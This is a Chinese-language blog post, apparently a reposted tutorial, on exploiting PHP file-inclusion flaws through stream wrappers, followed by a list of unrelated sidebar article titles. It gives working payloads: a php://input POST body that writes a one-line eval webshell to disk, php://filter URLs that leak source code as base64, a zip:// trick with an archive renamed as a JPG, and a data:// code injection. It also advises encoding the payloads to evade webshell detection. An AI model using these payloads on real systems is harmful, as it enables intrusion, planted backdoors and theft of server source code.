当前位置:网站首页>文件包含之伪协议的使用
文件包含之伪协议的使用
2022-08-03 14:51:00 【一青一柠】
文件包含漏洞利用实例
1. php流的input
http://127.0.0.1/include/03/index.php?page=php://input
然后要用post类型提交数据
这里可以这么提交:
<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST["hack"])?>")
?>
这里通过直接写入一个木马文件,来进行攻击。
所以不只是文件上传点可以写入木马,php的input流也可以写入一句话木马。
2. php流的filter协议
?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。
虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
allow_url_include和allow_url fopen都不做要求,这是非常大的优势。
3. zip压缩流
?page=zip://C:/Users/40454/Desktop/test.jpg%23test.txt
先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。、
注意,这里必须是绝对路径。
4. data协议
?file=data://text/plain,<?php phpinfo();?>
但在利用时有很多问题。
后面php代码容易被查杀,所以要灵活利用编码等方法,可以借鉴webshell免杀,原理都是一样的。
<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。解决思路:
不写后面的 ?> 因为PHP里面其实不需要写后面的 前面的 ;号就已经说明结束了。
如果没有;号就必须写 ?>作为结束。
边栏推荐
- HDU 1027 Ignatius and the Princess II(求由1-n组成按字典序排序的第m个序列)
- GMapping principle analysis/easy to understand
- 阿里大牛最新总结分享的高并发编程核心笔记(终极版),高并发系统架构场景一应俱全
- 162_Power Query is a custom function for quickly merging tables in a folder TableXlsxCsv_2.0
- 【MATLAB项目实战】基于CNN_SVM的图像花卉识别
- 使用Typora+EasyBlogImageForTypora写博客,无图床快速上传图片
- WMS软件国内主要供应商分析
- PAT乙级-B1015 德才论(25)
- Chrome browser corresponding driver_chrome mobile browser
- devops-2:Jenkins的使用及Pipeline语法讲解
猜你喜欢
随机推荐
C语言将GLib库添加到CMake工程中
php类的析构函数:__destruct
【指针内功修炼】函数指针 + 函数指针数组 + 回调函数(二)
0代码4步体验物联网设备上云
MySQL性能优化的'4工具+10技巧'
【R语言科研绘图】--- 柱状图
网络中的交换机和路由器
JS每晚24:00更新某方法
你没见过的《老友记》镜头,AI给补出来了|ECCV 2022
有希望就是好的
取消转义字符(r)
【软件工程之美 - 专栏笔记】36 | DevOps工程师到底要做什么事情?
atrace和systrace的基本使用方法
大势,又一关乎中美竞争的关键行业,走到关键时刻了
程序员面试必备PHP基础面试题 – 第十八天
又有大厂员工连续加班倒下/ 百度搜狗取消快照/ 马斯克生父不为他骄傲...今日更多新鲜事在此...
HDU Largest prime factor(埃拉托色尼筛选法求素数模板法改动)
varchar2 and varchar2(char)_datetime data types
ffplay视频播放原理分析
王守创:多组学整合分析揭示植物代谢多样性的分子机制(8月2号晚)









